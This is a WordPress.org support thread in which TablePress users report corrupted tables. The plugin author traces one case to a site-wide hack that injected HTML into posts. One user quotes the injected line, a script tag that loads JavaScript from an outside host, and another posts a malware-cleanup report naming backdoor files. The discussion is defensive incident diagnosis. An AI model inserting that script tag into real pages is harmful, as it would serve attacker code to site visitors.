Title: “SYNTAX ERROR”
Last modified: September 16, 2018

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# “SYNTAX ERROR”

 *  Resolved [wallym](https://wordpress.org/support/users/wallym/)
 * (@wallym)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/)
 * Hello Tobias,
 * All of tables made with table press are down. I connot edit them either.
 * I already sent Tobias a personal message about this. I am posting on this thread
   so that it may help others in the same situation.
 * This is the message I get on the page: Attention: The internal data of table “
   16” is corrupted!
    …and on the plugin page: Attention: Unfortunately, an error
   occurred.
 * The internal data of table “Brentwood Home Cedar Mattress” (ID 10) is corrupted.
   The following error was registered: Syntax error.
 * Because of this error, the table can not be edited at this time, to prevent possible
   further data loss. Please see the TablePress FAQ page for further instructions.
 * Any input would be greatly appreciated.
 * All the best,
 * Olivier
    -  This topic was modified 7 years, 8 months ago by [wallym](https://wordpress.org/support/users/wallym/).
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Fsyntax-error-190%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

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 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10693273)
 * Hi,
 * thanks for your post, and sorry for the trouble.
 * I have received your email and will take a look shortly!
 * Regards,
    Tobias
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10693342)
 * Hi,
 * an update for everyone reading this thread: I checked this out directly and found
   that some external source (likely a hacker script) added HTML code (to inject
   a JavaScript file) into all posts and pages. As this corrupts the TablePress 
   JSON format, the tables appear to be corrupted.
 * Regards,
    Tobias
 *  [chlopez1982](https://wordpress.org/support/users/chlopez1982/)
 * (@chlopez1982)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10693857)
 * Hi Tobias,
 * Was this code injected: <script src=’[https://cdn.examhome.net/cdn.js?ver=1.0.5&#8242](https://cdn.examhome.net/cdn.js?ver=1.0.5&#8242);
   type=’text/javascript’></script>
 * I’ve been fighting the last few hours determining where that came from on my 
   website.
 * Was that on your plugin end or something on my website? Thank you
 *  [chlopez1982](https://wordpress.org/support/users/chlopez1982/)
 * (@chlopez1982)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10695458)
 * Update:
 * It appears it has not only infected my one website, but my entire server. Other
   websites, even without this plugin installed, has this code injected into it.
 * Thanks
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10695474)
 * Hi,
 * I just replied to your email. As you have already found, this is not an issue
   in TablePress, but a more global hacking issue :-/
 * I hope the TablePress Debug Extension in my email helps a bit, but your best 
   chance is to restore from a clean backup.
 * Regards,
    Tobias
 *  Thread Starter [wallym](https://wordpress.org/support/users/wallym/)
 * (@wallym)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10696222)
 * Hello Everyone,
 * thank you again to Tobias for pointing out that my website had been hacked. I
   have resolved the issue by restoring the site from a previous version.
 * However, I must admit that I had many theme, wordpress and plugin updates that
   were long overdue. I have done all the necessary updates and learned more about
   scanning my site with WordFence.
 * Another point is that my backups were set to weekly, and because of this, I lost
   some work. I have now changed this and I am currently looking for a cloud-based
   backup option.
 * Hope it helps,
 * All the best.
 *  [chlopez1982](https://wordpress.org/support/users/chlopez1982/)
 * (@chlopez1982)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10696390)
 * Hi Everyone,
 * Posting for future readers.
 * Tobias is correct it was NOT a TablePress issue. Regardless, he promptly responded
   to my email and helped point me in the right direction.
 * Great support from him! Thank You Tobias!
 * I have 8 websites in my hosting account and all 8 get infected. Rather than trying
   to remove them, I restored my entire account.
 * Chris
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10697111)
 * Hi,
 * no problem, you are very welcome! 🙂 Good to hear that this helped!
 * If you happen to find how the hack of the site worked, please let me know!
 * Best wishes,
    Tobias
 *  [chlopez1982](https://wordpress.org/support/users/chlopez1982/)
 * (@chlopez1982)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10701120)
 * Sucuri just finished cleaning my website. Here’s their response:
 * I’ve just finished working on your case and clean now.
    We’ve analyzed all your
   websites.
 * The following files were cleaned, hardened, or removed:
 * CLEARED: Found malware on file: wp-content/uploads/assignments/some.php. Details:
   php.backdoor.file_put_contents.001
    CLEARED: Found malware on file: wp-content/
   uploads/assignments/some.php_1. Details: php.backdoor.file_put_contents.001
 * —
 * I believe that is the LearnDash LMS plugin’s folder. Not sure though!
    Chris
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 8 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-10701189)
 * Hi,
 * thanks for sharing this!
 * “wp-content/uploads/” is the general uploads folder, but “assignments” might 
   indeed be a subfolder by that plugin, just from the name.
 * Regards,
    Tobias
 *  [Lewyn](https://wordpress.org/support/users/lewyn/)
 * (@lewyn)
 * [7 years, 3 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-11247335)
 * Hello Tobias,
 * I was trying to find some contact on you, but unfortunately I couldn’t find any.
 * I am facing the same problem. Every new table i create from this moment with 
   A href tag is Corrupted and it says it has got Syntax error. Even old tables 
   that I just “UPDATE” but even though I did not change anything has writtend same
   error.
 * One programmer was doing some work on one of my sites on the same server. I am
   scared now that there is some virus or malware.
 * Could you help me, please?
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 3 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-11247439)
 * Hi [@lewyn](https://wordpress.org/support/users/lewyn/),
 * thanks for your post, and sorry for the trouble.
 * This issue was caused by a bug in the recent WordPress 5.1.
    I have spent Friday
   working and releasing a fix for TablePress. Please see this forums thread for
   more information and a possible solution to fix your tables: [https://wordpress.org/support/topic/wp-5-1-support/page/2/#post-11236697](https://wordpress.org/support/topic/wp-5-1-support/page/2/#post-11236697)
 * Regards,
    Tobias
 *  [Lewyn](https://wordpress.org/support/users/lewyn/)
 * (@lewyn)
 * [7 years, 3 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-11247597)
 * Oh, nice thanks!
 * It’s working!
 * I was stuck by this like maybe 4 hours, but I don’t care now. I’m happy my site
   is not hacked as I was thinking it is.
 * Thanks for solving this Tobias!
 *  Plugin Author [Tobias Bäthge](https://wordpress.org/support/users/tobiasbg/)
 * (@tobiasbg)
 * [7 years, 3 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-11248913)
 * Hi,
 * no problem, you are very welcome! 🙂 Good to hear that this helped!
 * Best wishes,
    Tobias
 * P.S.: In case you haven’t, please [rate TablePress](https://wordpress.org/support/plugin/tablepress/reviews/#new-post)
   here in the plugin directory. Thanks!

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 * Last activity: [7 years, 3 months ago](https://wordpress.org/support/topic/syntax-error-190/#post-11248913)
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